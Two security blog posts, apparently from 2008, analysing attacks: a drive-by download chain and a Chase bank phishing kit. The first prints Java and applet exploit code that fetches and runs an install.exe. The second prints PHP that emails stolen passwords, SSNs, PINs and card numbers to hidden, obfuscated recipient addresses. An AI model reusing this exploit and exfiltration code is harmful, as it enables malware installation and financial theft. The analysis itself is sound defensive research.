It turns out that the first iframe points at an empty page: it must have already been taken down.

The second iframe is more interesting: it spits out a 302 response to redirect to http://vipasotka.com/in.php (119.42.149.22), which, in turn, redirects to http://golnanosat.com/in.php (same IP address).

in.php is also variously scrambled, but the (now) usual deobfuscation step in rhino allows us to quickly make sense of it. This file generates another somewhat obfuscated JavaScript snippet. After some inspection and some googling, the script appears to be divided in two parts. The first part is essentially a JavaScript rewrite of metasploit's exploit for MS06-014: the code tries very hard to download (via XMLHttpRequest) the executable install.exe from http://golnanosat.com/adw_files/5010/8275793f/, to add it to the startup programs, and to run it. The exploit code is IE-specific and goes to great lengths to "support" a number of different Windows versions.

The second part brings a bag of Java tricks into the picture.


    <applet code=animan.class name=maniman height=1 width=1 MAYSCRIPT></applet>
    try {
        var unsafeclass=document.maniman.getClass().forName("sun.misc.Unsafe");
        var unsafemeth=unsafeclass.getMethod("getUnsafe",null);
        var unsafe=unsafemeth.invoke(unsafemeth,null);
        document.maniman.foobar(unsafe);
        var chenref=unsafe.defineClass("omfg",document.maniman.luokka,0,document.maniman.classSize);
        var chen=unsafe.allocateInstance(chenref);
        chen.setURLdl("http://golnanosat.com/adw_files/5010/8275793f/install.exe");
        chen.setUname("5010");
        chen.setCID("other");
    }catch(d){}

    <applet archive=OP.jar code=OP.class width=1 height=1 MAYSCRIPT>
        <param name=usid value=us0105>
        <param name=linkurl
        value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=3">
    </applet>

    <applet archive="ms03011.jar" code="MagicApplet.class" width=1  height=1>
        <param name="ModulePath" value="http://golnanosat.com/adw_files/5010/8275793f/install.exe?id=4">
    </applet>

The first trick uses reflection and the internal sun.misc.unsafe class to dynamically create a class instance that bypasses the security restrictions of the Java VM: this seems an old bug that dates back to 2004. The second one is recognized by some anti-virus as Java/TrojanDownloader.OpenStream. The last trick looks like an exploit for another old bug (MS03-011) that affected the ByteCode Verifier of the Microsoft VM. In all cases, the goal is to download and execute the usual install.exe file.

Malware

The attack pages serve two binaries. VirusTotal reports mixed detection results: 13/32 and 8/32.

Discussions

I'll conclude the analysis with some quick considerations:

Posted by marco in malware, javascript
Leave a comment!

A tale of scam kits

April 2, 2008

A few days ago, the news spread that ready-to-go scam kits targeting banks and other sensitive web sites were available for download. Nothing new here except for the fact that the kits were given away for free.

The reason for such generosity? Will see in a moment.

I've got my hands on some of the kits and I've analyzed one of them. This analysis is relative to the Chase scam kit (others seem similar at first sight) retrieved on 31/3/2008.

The scam kit is a collection of php, html, css, and image files that provide a phishing web site for JP Morgan Chase online banking. The kit collects username, password and personal information, such as credit card numbers and social security numbers. The collected information is sent back to the scammer via e-mail. At first sight, all a scammer has to do is modify one file in the kit to set the appropriate e-mail address and attract traffic to the phishing page.

The reality is bit different: a larger pool of people seem to benefit from the scammer's efforts. In other words, scammers are getting scammed by more clever scammers.

Let's see how this happens.

Transmission code

The file Mr-Brain.php contains the code to ship to information back to the scammer. The code is:

 3: $message = ... // phished information
    ...
39:
38: $send="scammer_forlife@yahoo.com";
39:
40: $subject = "Chase Bank ReZulT | $user | $ip";
41: $headers = "From: Mr-Brain<new@chase.com>";
42: $str=array($send, $IP); foreach ($str as $send) {
43: if(mail($send,$subject,$message,$headers) != false){
44: mail($Send,$subject,$message,$headers);
45: mail($messege,$subject,$message,$headers);
46: }

mail() is a standard PHP function that send an e-mail message to the address specified in its first argument. Let's see how the kit uses this code to distribute information to a number of addresses other than scammer_forlife@yahoo.com.

Trick 1: mistyped variables

In Mr-Brain.php, the email message is composed as follows:

$hostname = gethostbyaddr($ip);
$message  = "---------------+ Chase Bank Spam ReZulT +-----------------\n";
$message .= "User ID : $user\n";
...
$messege .= "hostip";
$message .= "Full Name : $fullname\n";
...
$message .= "City : $city\n";
$messege .= "port";
$message .= "State : $state\n";
...
$message .= "Mother Maiden Name : $mmn\n";
$messege .= "@";
$message .= "Date of Birth : $bmonth/$bday/$byear\n";
...
$message .= "ATM PIN Code      : $pin\n";
$messege .= "g";
$message .= "Credit Card Number: $cardnumber\n";
...
$message .= "CVV Number       : $cvv\n";
$messege .= "mail";
$message .= "---------------------------------------------------\n";
...
$messege .= ".";
$message .= "Credit Card Number: $cardnumber\n";
...
$messege .= "com";
...
$message .= "----------------+ Created in 2008 By Mr-Brain +----------------\n";

Notice the mistyped $messege variable (instead of $message). Once reconstructed the variable forms the e-mail address hostipport@gmail.com. At line 45 it is used as the recipient of the mail function. The trick uses the fact that PHP automatically initializes undefined string variables (as $messege here) to the empty string.

Trick #2: case-sensitive PHP and code injection

Inside the foreach loop of line 42, the variable $Send (notice the capital letter) is different from the variable $send (all lowercase). How is $Send initialized? In details.php, a form contains the hidden parameter Send, whose value is set to:

<?=base64_decode("TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=");?>

which, once interpreted, gives the e-mail address Mr-Brain@Evil-Brain.Net.

Trick #3: obfuscation via pack()

The sending code loops over the contents of an array initialized with the variables $send and $IP. What is $IP? In prospect.php, the variable $IP is initialized to 

pack("H*", substr($VARS=$erorr,strpos($VARS, "329")+3,46));

$erorr (again, misspelled to disguise it for the variable $error) contains the contents of the file login.php. The substr() function searches for 329 in login.php, finds it in the value argument of a hidden parameter, and extracts the following 46 characters:

70696f6e6565722e627261696e40676d61696c2e636f6d

These are then massaged through the function pack() to give yet another e-mail address: pioneer.brain@gmail.com

Trick #4: obfuscation via code in data and eval()

prospect.php contains the following interesting functions:

39: function clean($str){
40: $clean=create_function('$str','return '.gets("(1,",3,4).'($str);');
41: return $clean($str);
42: }
43: function getc($string){
44: return implode('', file($string));
45: }
46: function gets($a, $b, $c){
47: global $d; return substr(getc($d),strpos(getc($d),$a)+$b,$c);
48: }
49: function end_of_line(){
50: $end=gets("(2,",3,4); endline=$end(gets("(3,",3,2),getc(gets("(((",3,20)));
51: return $endline;
52: }
53: function geterrors(){
54: return clean(end_of_line());
55: }

The function geterrors() is called at the end of the file, right before error checking is performed. Let's see what these functions are doing:


    global $error;
    if("$error" != "1"){
        global $user;
        global $pass;
        global $fullname;
        global $address;
        global $city;
        global $state;
        global $zip;
        global $email;
        global $mmn;
        global $bmonth;
        global $bday;
        global $byear;
        global $ssn1;
        global $ssn2;
        global $ssn3;
        global $pin;
        global $cardnumber;
        global $expmonth;
        global $expyear;
        global $cvv;
    if (getenv(HTTP_CLIENT_IP)){
        $iP=getenv(HTTP_CLIENT_IP);
    } else {
        $iP=getenv(REMOTE_ADDR);
    }
    $hostname = gethostbyaddr($iP);
    $message  = "---------------  Chase Bank Spam ReZulT  -----------------\n";
    $message .= "User ID : $user\n";
    $message .= "Password : $pass\n\n";
    $message .= "Full Name : $fullname\n";
    $message .= "Address : $address\n";
    $message .= "City : $city\n";
    $message .= "State : $state\n";
    $message .= "Zip Code : $zip\n";
    $message .= "E-mail Address : $email\n\n";
    $message .= "Mother Maiden Name : $mmn\n";
    $message .= "Date of Birth : $bmonth/$bday/$byear\n";
    $message .= "Social Security No : $ssn1-$ssn2-$ssn3\n";
    $message .= "ATM PIN Code      : $pin\n";
    $message .= "Credit Card Number: $cardnumber\n";
    $message .= "Expiration Date   : $expmonth/$expyear [mm/yy]\n";
    $message .= "CVV Number       : $cvv\n";
    $message .= "---------------------------------------------------\n";
    $message .= "IP Address   : $iP\n";
    $message .= "HostName   : $hostname\n";
    $message .= "----------------  Created in 2008 By Mr-Brain  ----------------\n";
    $Brain="pamer@inbox.com,usa813@gmail.com";
    $subject = "Chase Bank ReZulT";
    $headers = "From: Mr-Brain<new@chase.com>";
    mail($Brain,$subject,$message,$headers);
    }

Posted by marco in malware, phishing
Leave a comment!